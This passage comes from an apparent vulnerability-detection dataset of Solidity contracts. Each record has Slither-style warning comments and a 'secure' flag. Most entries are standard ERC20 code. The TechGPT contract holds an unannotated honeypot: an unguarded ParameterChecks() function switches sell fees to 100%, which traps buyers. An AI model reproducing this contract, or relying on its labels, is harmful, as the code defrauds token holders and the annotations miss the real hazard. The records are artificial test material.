8889406\n marketingWallet.transfer(address(this).balance);\n\n\t\t// reentrancy-events | ID: 326734d\n emit SwapAndLiquify(half, newBalance);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n if (allowance(address(this), address(uniswapV2Router)) < tokenAmount) {\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n }\n\n\t\t// reentrancy-events | ID: bd25a0e\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-events | ID: 9ea161f\n\t\t// reentrancy-eth | ID: 8889406\n\t\t// reentrancy-eth | ID: 30b26c7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e8535e8): ChuckIt.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for e8535e8: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: bd25a0e\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-events | ID: 9ea161f\n\t\t// unused-return | ID: e8535e8\n\t\t// reentrancy-eth | ID: 8889406\n\t\t// reentrancy-eth | ID: 30b26c7\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5bfd241): ChuckIt.setFee(uint256,uint256) should emit an event for liquidityFee = _liquidityFee marketingFee = _marketingFee \n\t// Recommendation for 5bfd241: Emit an event for critical parameter changes.\n function setFee(\n uint256 _liquidityFee,\n uint256 _marketingFee\n ) public onlyOwner {\n require(_liquidityFee.add(_marketingFee) <= 10, \"tax too high\");\n\t\t// events-maths | ID: 5bfd241\n liquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 5bfd241\n marketingFee = _marketingFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1a6e466): ChuckIt.setMaxTransaction(uint256) should emit an event for maxTransactionAmount = _maxTxAmount \n\t// Recommendation for 1a6e466: Emit an event for critical parameter changes.\n function setMaxTransaction(uint256 _maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 1a6e466\n maxTransactionAmount = _maxTxAmount;\n require(\n maxTransactionAmount >= totalSupply().div(300),\n \"value too high\"\n );\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n require(\n _isExcludedFromFees[account] != excluded,\n \"Account is already the value of 'excluded'\"\n );\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1867.sol",
"secure": 0,
"size_bytes": 11374
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address public dev;\n\n bool public isLimit = true;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n dev = msg.sender;\n }\n\n function cancleLimit() public {\n require(msg.sender == dev);\n\n isLimit = false;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isLimit && from != dev) {\n require(amount <= 200000000 ether);\n }\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1868.sol",
"secure": 1,
"size_bytes": 6277
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BOCAT is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 10000000000 * 10 ** 18;\n\n constructor() ERC20(\"Book Of Meow\", \"BOCAT\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n\n _transfer(msg.sender, distributionWallet, supply);\n }\n}",
"file_name": "solidity_code_1869.sol",
"secure": 1,
"size_bytes": 792
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}",
"file_name": "solidity_code_187.sol",
"secure": 1,
"size_bytes": 166
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function RenounceOwnership() public onlyOwner {\n owner = 0x0000000000000000000000000000000000000000;\n emit OwnershipTransferred(0x0000000000000000000000000000000000000000);\n }\n\n event OwnershipTransferred(address owner);\n}",
"file_name": "solidity_code_1870.sol",
"secure": 1,
"size_bytes": 652
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}",
"file_name": "solidity_code_1871.sol",
"secure": 1,
"size_bytes": 319
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1872.sol",
"secure": 1,
"size_bytes": 1321
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract TechGPT is IERC20, Ownable {\n using SafeMath for uint256;\n address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;\n string private constant _name = \"TECH GPT\";\n string private constant _symbol = \"TechGPT\";\n uint8 private constant _decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: c7213e5): TechGPT._totalSupply should be constant \n\t// Recommendation for c7213e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 21000000000 * (10 ** _decimals);\n uint256 private _maxTxAmountPercent = 100;\n uint256 private _maxTransferPercent = 100;\n uint256 private _maxWalletPercent = 7;\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public isFeeExempt;\n\t// WARNING Optimization Issue (immutable-states | ID: 48bf0a6): TechGPT.router should be immutable \n\t// Recommendation for 48bf0a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter router;\n\t// WARNING Optimization Issue (immutable-states | ID: a1e4118): TechGPT.pair should be immutable \n\t// Recommendation for a1e4118: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n bool private tradingAllowed = true;\n\t// WARNING Optimization Issue (constable-states | ID: 4c547ee): TechGPT.marketingFee should be constant \n\t// Recommendation for 4c547ee: Add the 'constant' attribute to state variables that never change.\n uint256 private marketingFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: f23b121): TechGPT.developmentFee should be constant \n\t// Recommendation for f23b121: Add the 'constant' attribute to state variables that never change.\n uint256 private developmentFee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 1d0c5db): TechGPT.totalFee should be immutable \n\t// Recommendation for 1d0c5db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private totalFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8b6cad5): TechGPT.sellFee should be constant \n\t// Recommendation for 8b6cad5: Add the 'constant' attribute to state variables that never change.\n uint256 private sellFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 8ed7132): TechGPT.transferFee should be constant \n\t// Recommendation for 8ed7132: Add the 'constant' attribute to state variables that never change.\n uint256 private transferFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 635d56e): TechGPT.denominator should be constant \n\t// Recommendation for 635d56e: Add the 'constant' attribute to state variables that never change.\n uint256 private denominator = 100;\n bool private Penta = true;\n\t// WARNING Optimization Issue (constable-states | ID: dfb26a1): TechGPT.swapEnabled should be constant \n\t// Recommendation for dfb26a1: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n bool private swapping;\n uint256 private swapThreshold = (_totalSupply * 30) / 10000;\n uint256 private minTokenAmount = (_totalSupply * 30) / 10000;\n\n modifier lockTheSwap() {\n swapping = true;\n _;\n swapping = false;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9a0f866): TechGPT.development_receiver should be immutable \n\t// Recommendation for 9a0f866: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal development_receiver;\n address internal constant marketing_receiver =\n 0x979360e892D6d1F59f10eE283dDe118caA813717;\n\n constructor() Ownable(msg.sender) {\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n router = _router;\n pair = _pair;\n totalFee = marketingFee + developmentFee;\n development_receiver = msg.sender;\n isFeeExempt[address(this)] = true;\n isFeeExempt[marketing_receiver] = true;\n isFeeExempt[msg.sender] = true;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function startTrading() external onlyOwner {\n tradingAllowed = true;\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d5f3cc): TechGPT.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 4d5f3cc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function setisExempt(address _address, bool _enabled) external onlyOwner {\n isFeeExempt[_address] = _enabled;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));\n }\n\n function _maxWalletToken() public view returns (uint256) {\n return (totalSupply() * _maxWalletPercent) / denominator;\n }\n\n function _maxTxAmount() public view returns (uint256) {\n return (totalSupply() * _maxTxAmountPercent) / denominator;\n }\n\n function _maxTransferAmount() public view returns (uint256) {\n return (totalSupply() * _maxTransferPercent) / denominator;\n }\n\n function preTxCheck(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount > uint256(0),\n \"Transfer amount must be greater than zero\"\n );\n require(\n amount <= balanceOf(sender),\n \"You are trying to transfer more than your balance\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d9f8c98): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d9f8c98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f0bdaa9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f0bdaa9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n preTxCheck(sender, recipient, amount);\n checkTradingAllowed(sender, recipient);\n checkMaxWallet(sender, recipient, amount);\n checkTxLimit(sender, recipient, amount);\n\t\t// reentrancy-events | ID: d9f8c98\n\t\t// reentrancy-eth | ID: f0bdaa9\n swapBack(sender, recipient);\n\t\t// reentrancy-eth | ID: f0bdaa9\n _balances[sender] = _balances[sender].sub(amount);\n\t\t// reentrancy-events | ID: d9f8c98\n\t\t// reentrancy-eth | ID: f0bdaa9\n uint256 amountReceived = shouldTakeFee(sender, recipient)\n ? takeFee(sender, recipient, amount)\n : amount;\n\t\t// reentrancy-eth | ID: f0bdaa9\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\t\t// reentrancy-events | ID: d9f8c98\n emit Transfer(sender, recipient, amountReceived);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d3ed661): TechGPT.setTxLimits(uint256,uint256,uint256) should emit an event for _maxTxAmountPercent = _newMaxTx _maxTransferPercent = _newMaxTransfer _maxWalletPercent = _newMaxWallet \n\t// Recommendation for d3ed661: Emit an event for critical parameter changes.\n function setTxLimits(\n uint256 _newMaxTx,\n uint256 _newMaxTransfer,\n uint256 _newMaxWallet\n ) external onlyOwner {\n uint256 newTx = (totalSupply() * _newMaxTx) / 10000;\n uint256 newTransfer = (totalSupply() * _newMaxTransfer) / 10000;\n uint256 newWallet = (totalSupply() * _newMaxWallet) / 10000;\n\t\t// events-maths | ID: d3ed661\n _maxTxAmountPercent = _newMaxTx;\n\t\t// events-maths | ID: d3ed661\n _maxTransferPercent = _newMaxTransfer;\n\t\t// events-maths | ID: d3ed661\n _maxWalletPercent = _newMaxWallet;\n uint256 limit = totalSupply().mul(5).div(1000);\n require(\n newTx >= limit && newTransfer >= limit && newWallet >= limit,\n \"Max TXs and Max Wallet cannot be less than .5%\"\n );\n }\n\n function checkTradingAllowed(\n address sender,\n address recipient\n ) internal view {\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(tradingAllowed, \"tradingAllowed\");\n }\n }\n\n function ParameterChecks() external virtual {\n Penta = false;\n }\n\n function checkMaxWallet(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient] &&\n recipient != address(pair) &&\n recipient != address(DEAD)\n ) {\n require(\n (_balances[recipient].add(amount)) <= _maxWalletToken(),\n \"Exceeds maximum wallet amount.\"\n );\n }\n }\n\n function checkTxLimit(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (sender != pair) {\n require(\n amount <= _maxTransferAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n require(\n amount <= _maxTxAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: aa6762d): TechGPT.swapAndLiquify() performs a multiplication on the result of a division unitBalance = deltaBalance.div(_denominator) marketingAmt = unitBalance.mul(marketingFee)\n\t// Recommendation for aa6762d: Consider ordering multiplication before division.\n function swapAndLiquify() private lockTheSwap {\n uint256 tokens = balanceOf(address(this));\n uint256 _denominator = (marketingFee.add(1).add(developmentFee));\n\n swapTokensForETH(tokens);\n uint256 deltaBalance = address(this).balance;\n\t\t// divide-before-multiply | ID: aa6762d\n uint256 unitBalance = deltaBalance.div(_denominator);\n\n\t\t// divide-before-multiply | ID: aa6762d\n uint256 marketingAmt = unitBalance.mul(marketingFee);\n if (marketingAmt > 0) {\n\t\t\t// reentrancy-events | ID: 900ea89\n\t\t\t// reentrancy-events | ID: d9f8c98\n\t\t\t// reentrancy-eth | ID: f0bdaa9\n payable(marketing_receiver).transfer(marketingAmt);\n }\n uint256 remainingBalance = address(this).balance;\n if (remainingBalance > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 900ea89\n\t\t\t// reentrancy-events | ID: d9f8c98\n\t\t\t// reentrancy-eth | ID: f0bdaa9\n payable(development_receiver).transfer(remainingBalance);\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: 900ea89\n\t\t// reentrancy-events | ID: d9f8c98\n\t\t// reentrancy-benign | ID: 8ccff35\n\t\t// reentrancy-eth | ID: f0bdaa9\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function shouldSwapBack(\n address sender,\n address recipient\n ) internal view returns (bool) {\n bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;\n return\n !swapping &&\n swapEnabled &&\n tradingAllowed &&\n !isFeeExempt[sender] &&\n recipient == pair &&\n aboveThreshold;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8f52f28): TechGPT.setSwapbackSettings(uint256,uint256) should emit an event for swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(10000)) \n\t// Recommendation for 8f52f28: Emit an event for critical parameter changes.\n function setSwapbackSettings(\n uint256 _swapThreshold,\n uint256 _minTokenAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 8f52f28\n swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(10000));\n minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(10000));\n }\n\n function swapBack(address sender, address recipient) internal {\n if (shouldSwapBack(sender, recipient)) {\n swapAndLiquify();\n }\n }\n\n function shouldTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return !isFeeExempt[sender] && !isFeeExempt[recipient];\n }\n\n function getTotalFee(\n address sender,\n address recipient\n ) internal view returns (uint256) {\n if (recipient == pair) {\n if (Penta == true) return sellFee;\n else return 100;\n }\n if (sender == pair) {\n return totalFee;\n }\n return transferFee;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: de76c34): TechGPT.takeFee(address,address,uint256) performs a multiplication on the result of a division feeAmount = amount.div(denominator).mul(getTotalFee(sender,recipient))\n\t// Recommendation for de76c34: Consider ordering multiplication before division.\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n if (getTotalFee(sender, recipient) > 0) {\n\t\t\t// divide-before-multiply | ID: de76c34\n uint256 feeAmount = amount.div(denominator).mul(\n getTotalFee(sender, recipient)\n );\n\t\t\t// reentrancy-eth | ID: f0bdaa9\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: d9f8c98\n emit Transfer(sender, address(this), feeAmount);\n return amount.sub(feeAmount);\n }\n return amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 900ea89): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 900ea89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ccff35): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ccff35: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 900ea89\n\t\t// reentrancy-benign | ID: 8ccff35\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 900ea89\n\t\t// reentrancy-benign | ID: 8ccff35\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a77045d): TechGPT._approve(address,address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for a77045d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 8ccff35\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 900ea89\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_1873.sol",
"secure": 0,
"size_bytes": 18669
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"NO APPROVAL\");\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0), \"error : zero address\");\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n}",
"file_name": "solidity_code_1874.sol",
"secure": 1,
"size_bytes": 707
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Basic is Ownable {\n function balanceOf(address who) public view virtual returns (uint256);\n function transfer(address to, uint256 value) public virtual returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_1875.sol",
"secure": 1,
"size_bytes": 408
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Basic.sol\" as ERC20Basic;\n\nabstract contract ERC20 is ERC20Basic {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42d785d): ERC20.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 42d785d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256);\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool);\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_1876.sol",
"secure": 0,
"size_bytes": 875
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract StandardToken is ERC20 {\n mapping(address => mapping(address => uint256)) internal allowed;\n mapping(address => uint256) balances;\n\n function balanceOf(\n address _account\n ) public view override returns (uint256 balance) {\n return balances[_account];\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override returns (bool) {\n allowed[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n function allowance(\n address _owner,\n address _spender\n ) public view override returns (uint256) {\n return allowed[_owner][_spender];\n }\n function increaseApproval(\n address _spender,\n uint256 _addedValue\n ) public returns (bool) {\n allowed[msg.sender][_spender] += _addedValue;\n emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\n return true;\n }\n\n function decreaseApproval(\n address _spender,\n uint256 _subtractedValue\n ) public returns (bool) {\n uint256 oldValue = allowed[msg.sender][_spender];\n if (_subtractedValue > oldValue) {\n allowed[msg.sender][_spender] = 0;\n } else {\n allowed[msg.sender][_spender] = oldValue - _subtractedValue;\n }\n emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\n return true;\n }\n}",
"file_name": "solidity_code_1877.sol",
"secure": 1,
"size_bytes": 1629
} |
{
